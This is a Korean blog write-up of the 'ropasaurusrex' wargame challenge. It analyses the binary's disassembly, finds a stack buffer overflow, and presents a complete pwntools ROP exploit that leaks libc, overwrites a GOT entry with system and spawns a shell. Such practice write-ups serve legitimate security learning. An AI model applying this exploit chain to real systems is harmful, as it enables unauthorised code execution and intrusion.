ropasaurusrex 문제 풀이
1. 취약점 확인
먼저 checksec 으로 취약점을 확인해보자
[*] '/home/gunp4ng/pwnable/Wargame/ropasaurusrex/ropasaurusrex'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
x86 아키텍처에 NX-bit 를 제외하곤 아무 보호기법도 걸려있지 않은 것을 알 수 있다.
C 코드는 주어지지 않고 바이너리 파일만 주어졌다.
gdb 로 어셈블리를 확인해보자
main 함수가 없는 것을 알 수 있다.
read, write 함수는 있다.
파일을 실행해보자
read 함수로 입력을 받고
write 함수로 WIN 을 출력하는 것 같다.
objdump 로 어셈블리를 확인해보자
.text 영역을 확인해보자
ropasaurusrex: file format elf32-i386
Disassembly of section .text:
08048340 <.text>:
8048340: 31 ed xor ebp,ebp
8048342: 5e pop esi
8048343: 89 e1 mov ecx,esp
8048345: 83 e4 f0 and esp,0xfffffff0
8048348: 50 push eax
8048349: 54 push esp
804834a: 52 push edx
804834b: 68 50 84 04 08 push 0x8048450
8048350: 68 60 84 04 08 push 0x8048460
8048355: 51 push ecx
8048356: 56 push esi
8048357: 68 1d 84 04 08 push 0x804841d
804835c: e8 bb ff ff ff call 804831c <__libc_start_main@plt>
8048361: f4 hlt
8048362: 90 nop
8048363: 90 nop
8048364: 90 nop
8048365: 90 nop
8048366: 90 nop
8048367: 90 nop
8048368: 90 nop
8048369: 90 nop
804836a: 90 nop
804836b: 90 nop
804836c: 90 nop
804836d: 90 nop
804836e: 90 nop
804836f: 90 nop
8048370: 55 push ebp
8048371: 89 e5 mov ebp,esp
8048373: 53 push ebx
8048374: 83 ec 04 sub esp,0x4
8048377: 80 3d 28 96 04 08 00 cmp BYTE PTR ds:0x8049628,0x0
804837e: 75 3f jne 80483bf <read@plt+0x93>
8048380: a1 2c 96 04 08 mov eax,ds:0x804962c
8048385: bb 28 95 04 08 mov ebx,0x8049528
804838a: 81 eb 24 95 04 08 sub ebx,0x8049524
8048390: c1 fb 02 sar ebx,0x2
8048393: 83 eb 01 sub ebx,0x1
8048396: 39 d8 cmp eax,ebx
8048398: 73 1e jae 80483b8 <read@plt+0x8c>
804839a: 8d b6 00 00 00 00 lea esi,[esi+0x0]
80483a0: 83 c0 01 add eax,0x1
80483a3: a3 2c 96 04 08 mov ds:0x804962c,eax
80483a8: ff 14 85 24 95 04 08 call DWORD PTR [eax*4+0x8049524]
80483af: a1 2c 96 04 08 mov eax,ds:0x804962c
80483b4: 39 d8 cmp eax,ebx
80483b6: 72 e8 jb 80483a0 <read@plt+0x74>
80483b8: c6 05 28 96 04 08 01 mov BYTE PTR ds:0x8049628,0x1
80483bf: 83 c4 04 add esp,0x4
80483c2: 5b pop ebx
80483c3: 5d pop ebp
80483c4: c3 ret
80483c5: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
80483c9: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
80483d0: 55 push ebp
80483d1: 89 e5 mov ebp,esp
80483d3: 83 ec 18 sub esp,0x18
80483d6: a1 2c 95 04 08 mov eax,ds:0x804952c
80483db: 85 c0 test eax,eax
80483dd: 74 12 je 80483f1 <read@plt+0xc5>
80483df: b8 00 00 00 00 mov eax,0x0
80483e4: 85 c0 test eax,eax
80483e6: 74 09 je 80483f1 <read@plt+0xc5>
80483e8: c7 04 24 2c 95 04 08 mov DWORD PTR [esp],0x804952c
80483ef: ff d0 call eax
80483f1: c9 leave
80483f2: c3 ret
80483f3: 90 nop
80483f4: 55 push ebp
80483f5: 89 e5 mov ebp,esp
80483f7: 81 ec 98 00 00 00 sub esp,0x98
80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8],0x100
8048404: 00
8048405: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
804840b: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804840f: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
8048416: e8 11 ff ff ff call 804832c <read@plt>
804841b: c9 leave
804841c: c3 ret
804841d: 55 push ebp
804841e: 89 e5 mov ebp,esp
8048420: 83 e4 f0 and esp,0xfffffff0
8048423: 83 ec 10 sub esp,0x10
8048426: e8 c9 ff ff ff call 80483f4 <read@plt+0xc8>
804842b: c7 44 24 08 04 00 00 mov DWORD PTR [esp+0x8],0x4
8048432: 00
8048433: c7 44 24 04 10 85 04 mov DWORD PTR [esp+0x4],0x8048510
804843a: 08
804843b: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
8048442: e8 c5 fe ff ff call 804830c <write@plt>
8048447: c9 leave
8048448: c3 ret
8048449: 90 nop
804844a: 90 nop
804844b: 90 nop
804844c: 90 nop
804844d: 90 nop
804844e: 90 nop
804844f: 90 nop
8048450: 55 push ebp
8048451: 89 e5 mov ebp,esp
8048453: 5d pop ebp
8048454: c3 ret
8048455: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048459: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
8048460: 55 push ebp
8048461: 89 e5 mov ebp,esp
8048463: 57 push edi
8048464: 56 push esi
8048465: 53 push ebx
8048466: e8 4f 00 00 00 call 80484ba <read@plt+0x18e>
804846b: 81 c3 99 11 00 00 add ebx,0x1199
8048471: 83 ec 1c sub esp,0x1c
8048474: e8 43 fe ff ff call 80482bc <__gmon_start__@plt-0x40>
8048479: 8d bb 18 ff ff ff lea edi,[ebx-0xe8]
804847f: 8d 83 18 ff ff ff lea eax,[ebx-0xe8]
8048485: 29 c7 sub edi,eax
8048487: c1 ff 02 sar edi,0x2
804848a: 85 ff test edi,edi
804848c: 74 24 je 80484b2 <read@plt+0x186>
804848e: 31 f6 xor esi,esi
8048490: 8b 45 10 mov eax,DWORD PTR [ebp+0x10]
8048493: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
8048497: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804849a: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804849e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80484a1: 89 04 24 mov DWORD PTR [esp],eax
80484a4: ff 94 b3 18 ff ff ff call DWORD PTR [ebx+esi*4-0xe8]
80484ab: 83 c6 01 add esi,0x1
80484ae: 39 fe cmp esi,edi
80484b0: 72 de jb 8048490 <read@plt+0x164>
80484b2: 83 c4 1c add esp,0x1c
80484b5: 5b pop ebx
80484b6: 5e pop esi
80484b7: 5f pop edi
80484b8: 5d pop ebp
80484b9: c3 ret
80484ba: 8b 1c 24 mov ebx,DWORD PTR [esp]
80484bd: c3 ret
80484be: 90 nop
80484bf: 90 nop
80484c0: 55 push ebp
80484c1: 89 e5 mov ebp,esp
80484c3: 53 push ebx
80484c4: 83 ec 04 sub esp,0x4
80484c7: a1 1c 95 04 08 mov eax,ds:0x804951c
80484cc: 83 f8 ff cmp eax,0xffffffff
80484cf: 74 13 je 80484e4 <read@plt+0x1b8>
80484d1: bb 1c 95 04 08 mov ebx,0x804951c
80484d6: 66 90 xchg ax,ax
80484d8: 83 eb 04 sub ebx,0x4
80484db: ff d0 call eax
80484dd: 8b 03 mov eax,DWORD PTR [ebx]
80484df: 83 f8 ff cmp eax,0xffffffff
80484e2: 75 f4 jne 80484d8 <read@plt+0x1ac>
80484e4: 83 c4 04 add esp,0x4
80484e7: 5b pop ebx
80484e8: 5d pop ebp
80484e9: c3 ret
80484ea: 90 nop
80484eb: 90 nop
파일을 실행하면 read 함수로 입력을 받고 write 함수로 WIN 을 출력한다.
read 함수 다음 write 함수가 있는 부분을 .text 영역에서 찾으면 된다.
0x80483f4 ~ 0x8048448 부분을 살펴보자
80483f4 push ebp
80483f5 mov ebp,esp ; 함수 프롤로그
80483f7 sub esp,0x98
80483fd mov DWORD PTR [esp+0x8],0x100 ; 0x100
8048405 lea eax,[ebp-0x88] ; char buf[0x88]
804840b mov DWORD PTR [esp+0x4],eax
804840f mov DWORD PTR [esp],0x0 ; 0
8048416 call 804832c <read@plt> ; read(0, buf, 0x100)
804841b leave
804841c ret
804841d push ebp
804841e mov ebp,esp ; 함수 프롤로그
8048420 and esp,0xfffffff0 ; stack alignment
8048423 sub esp,0x10
8048426 call 80483f4 <read@plt+0xc8> ; read
804842b mov DWORD PTR [esp+0x8],0x4 ; 4
8048432
8048433 mov DWORD PTR [esp+0x4],0x8048510 ; WIN
804843a
804843b mov DWORD PTR [esp],0x1 ; 1
8048442 call 804830c <write@plt> ; write(1, WIN, 4)
8048447 leave
8048448 ret
read 함수를 호출하고 write 함수로 WIN 을 출력하는 것을 알 수 있다.
buf 의 크기는 0x88 이다.
buf 의 크기는 0x88 이지만 read 함수로 0x100 만큼을 입력받는 것을 알 수 있다.
→ BOF 가 발생한다.
2. 익스플로잇 구성
1. 스택 구조
스택 구조를 살펴보자
buf 는 0x88 의 크기이다.
SFP 는 32bit 환경이기 때문에 4byte 의 크기이다.
0x88 + 0x4 인 0x8C 만큼 buf 에 dummy 값을 입력하면 RET 를 조작할 수 있다.
2. 익스플로잇 구성
- write 함수로 read GOT 를 출력한다
- 출력한 read GOT 를 이용하여 라이브러리 시작 주소를 구한다
- 라이브러리 시작 주소 + system offset 을 하여 system 함수의 주소를 구한다
- read 함수로 write GOT 에 system 함수의 주소를 GOT Overwrite 한다
- read 함수로 bss 영역에 "/bin/sh" 문자열을 저장한다
- write("/bin/sh") 을 하여 system 함수를 호출한다.
3. 가젯 구하기
read 함수와 write 함수는 인자 3개를 필요로 하기 때문에 pop pop pop ret 가젯이 필요하다.
pppr 가젯의 주소는 0x80484b6 이다.
3. 페이로드 작성
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = process('./ropasaurusrex')
e = ELF('./ropasaurusrex')
libc = e.libc
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
bss = e.bss()
pppr = 0x80484b6
# payload
payload = b'A' * 0x8C
# write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# read(0, write_got, 12)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
# read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# write("/bin/sh")
payload += p32(write_plt)
payload += b'A' * 0x4
payload += p32(bss)
pause()
p.send(payload)
# read_addr
read_addr = u32(p.recvn(4))
log.info(f'read : {hex(read_addr)}')
# libc_base
libc_base = read_addr - libc.symbols['read']
log.info(f'system : {hex(libc_base)}')
# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')
p.send(p32(system))
p.send(b'/bin/sh\x00')
p.interactive()
위에서 찾은 정보들로 구성한 payload 이다.
payload 를 작성하고 실행하면
shell 을 획득할 수 있다.
'War Game > Pwnable' 카테고리의 다른 글
[sschall] pie (0) | 2024.10.15 |
---|---|
[sschall] adult_canary (0) | 2024.10.03 |
[Dreamhack] basic_rop_x86 (0) | 2024.09.15 |
[Dreamhack] basic_rop_x64 (0) | 2024.09.11 |
[Dreamhack] rop (0) | 2024.09.06 |